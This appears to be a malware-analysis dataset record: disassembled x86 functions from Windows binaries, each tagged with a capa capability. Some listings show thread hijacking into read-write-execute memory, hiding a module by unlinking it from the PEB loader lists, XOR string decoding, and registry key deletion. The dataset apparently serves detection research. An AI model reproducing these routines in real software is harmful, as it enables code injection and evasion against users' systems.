joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001ddf0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041286
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x1004ffa4]
mov dword [ebp - 0x1c], eax
mov ax, word [0x1004ffa8]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1001df54
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1001df40
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
je 0x1001debf
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001deb0
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x63c]
call fcn.10020640
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x1001dee1
xor ecx, ecx
jmp 0x1001deff
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1001def0
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.1001fba0
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001df72
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x1001df40
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.10020940
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1001df40
cmp word [esi], ax
jne 0x1001de60
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.1001fb40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x63c]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.1001fae0
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x1001dfb8
inc eax
lea ecx, [ebp - 0x654]
push eax
push dword [ebp - 0x654]
call fcn.10020940
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call fcn.1002d6cb
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x1001dffe
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.10020940
mov al, 1
jmp 0x1001df56
Function at 0x1001e070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001e100
cmp edx, 0x20
jb 0x1001e0eb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001e0a9
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10050250]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001e0c0
pop edi
cmp eax, edx
jge 0x1001e100
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001e0f0
pop esi
pop ebx
pop ebp
ret

Function at 0x1001e110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001e1a0
cmp edx, 0x20
jb 0x1001e18b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001e149
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10050250]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001e160
pop edi
cmp eax, edx
jge 0x1001e1a0
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001e190
pop esi
pop ebx
pop ebp
ret
Function at 0x1001e240
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, edx
mov edi, ecx
push 1
push esi
mov ecx, 0x2a
call fcn.1001f670
push eax
push 0
push 0x10155d28
call fcn.10015200
mov ecx, dword [0x1015fbac]
add esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test ecx, ecx
je 0x1001e2a2
push 0
push 0
push 0x10
push ecx
call ebx
push dword [0x10161870]
mov dword [0x1015fbac], 0
push dword [0x1015fbc4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1015fcd4]
test eax, eax
je 0x1001e2d0
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10161870]
mov dword [0x1015fcd4], 0
push dword [0x1015fcec]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1015fdfc]
test eax, eax
je 0x1001e2fe
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10161870]
mov dword [0x1015fdfc], 0
push dword [0x1015fe14]
call dword [sym.imp.USER32.dll_UnregisterClassA]
sub esi, 0
je 0x1001e32b
sub esi, 1
je 0x1001e31f
sub esi, 1
jne 0x1001e317
lea eax, [esi + 0x6a]
mov ecx, 0x2b2bb9
jmp 0x1001e335
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
jmp 0x1001e335
mov eax, 0x69
mov ecx, 0x116896
jmp 0x1001e335
mov eax, 0x67
mov ecx, 0x9ca476
push ecx
push dword [ebp + 0xc]
mov ecx, edi
sub esp, 0xc
push eax
call fcn.1001cc00
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push ecx
push edi
push 0x1001e1b0
mov dword [edi + 8], eax
call fcn.1001f890
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 4]
test eax, eax
je 0x1001e3a8
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10161870]
mov dword [edi + 4], 0
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
xorps xmm0, xmm0
push 0
movups xmmword [0x10161b90], xmm0
movups xmmword [0x10161ba0], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
Function at 0x1001f670
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10562610
mov esi, ecx
call fcn.10028c00
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeewwwwwwwwwwwwwwww]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1004ab10]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10562610], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10562620], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x1001f6a1
mov eax, 0x10562610
ret

Function at 0x1001f890
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10050180]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x1001f8c0
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f698627
lea ecx, [ebp - 0x24]
call fcn.100203e0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100256b8
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001f9b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10161870]
push ebx
push esi
push edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001fa02
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001fa06
cmp edx, esi
jne 0x1001f9eb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001fa26
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001fa2a
cmp edx, esi
jne 0x1001fa0f
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001fa4a
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001fa4e
cmp edx, esi
jne 0x1001fa33
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020ab0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10155d0c]
sub esp, 8
push esi
mov esi, dword [0x10155d08]
cmp esi, eax
je 0x10020b95
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x10020af9
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x10020b0a
mov eax, dword [0x10155d0c]
add esi, 0x105
cmp esi, eax
jne 0x10020ad2
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x10155d0c]
xor ecx, ecx
mov esi, dword [0x10155d08]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10020b7d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x10020b57
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x10155d0c]
mov esi, dword [0x10155d08]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x10020b34
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004e30
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10032253
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100320d2
Function at 0x10003218
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x10080008], 0x8088405
inc edx
mov dword [ebx + 0x10080008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x10003ed0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x10080024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x10003f68
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x10003f48
xor eax, eax
push ebp
push 0x10003f41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x10003f84
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x10003f48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x10080024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x10080024], ax
mov esp, ebp
pop ebp
ret

Function at 0x10004d84
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x1008304c], 0
je 0x10004de5
cmp word [0x10083220], 0xd7b2
jne 0x10004dad
cmp dword [0x10083228], 0
jbe 0x10004dad
mov eax, 0x1008321c
call dword [0x10083238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x10004e0c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x10080030], 0
jne 0x10004e01
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x10004f3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x10080038], 0
je 0x10004f62
mov edx, esi
mov eax, ebx
call dword [0x10080038]
jmp 0x10004f71
mov eax, 8
call fcn.10002f00
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x1008304d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x10004f04
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x10006690
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x100068c0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x10006713
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x100068c0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x10006713
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x100068dc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x1000679c
xor eax, eax
push ebp
push 0x10006795
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.100064cc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x1000677a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x100068fc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x1000677a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1000679c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x100068b6
cmp byte [ebp - 0xd], 0
jne 0x100067e3
cmp byte [ebp - 0x12], 0
je 0x100068b6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x100067fc
dec ebx
cmp byte [ebx], 0x2e
je 0x1000680b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x100067fb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x100068b6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x10006848
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x100068b6
cmp byte [ebp - 0xd], 0
je 0x100068b6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x100068b6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009214
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x10009266
test eax, edx
je 0x10009269
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x10009229
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x1000924f
add ecx, 4
js 0x1000923f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x1000924c
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x10009275
test edx, edx
jne 0x1000921c
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x10009b48
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.10005448
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x10009b61
test al, 0x10
je 0x10009b65
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x1000cd4c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x1000cd85
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.100050a8
jmp 0x1000cd8e
mov eax, ebx
mov edx, esi
call fcn.1000500c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000cd98
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x1000cdba
movzx eax, byte [esp]
jmp 0x1000cdbc
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x1000d44c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x1000d2c4
mov eax, dword [0x10082a24]
cmp byte [eax], 0
je 0x1000d4c8
mov eax, dword [0x10082714]
call fcn.10003610
call fcn.1000305c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.10009d24
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x1000d510
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x1000d4fe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x1008269c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x100857f8]
call fcn.10006474
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x1000ddc8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1000de9e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.10005050
lea eax, [ebp - 4]
call fcn.100054a0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.10005448
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x1000de88
mov eax, ebx
call fcn.10002f00
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x1000de81
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.10005448
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x1000de6b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x1000deb0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x1000de6b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1000de88
mov eax, dword [ebp - 0x10]
call fcn.10002f1c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1000dea5
lea eax, [ebp - 4]
call fcn.10004fb8
ret

Function at 0x1001fe58
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.1001fb94
dec esi
jne 0x1001fe7a
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x10020fec
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x100879f0
cmp dword [edi], 0
jne 0x10021068
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x100879ec]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x10080af4
mov ecx, 2
call fcn.100030f0
mov edx, 0x10020fc4
lea eax, [esi + 5]
call fcn.10020fe4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.10020fe4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x1002103d
mov dword [0x100879ec], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8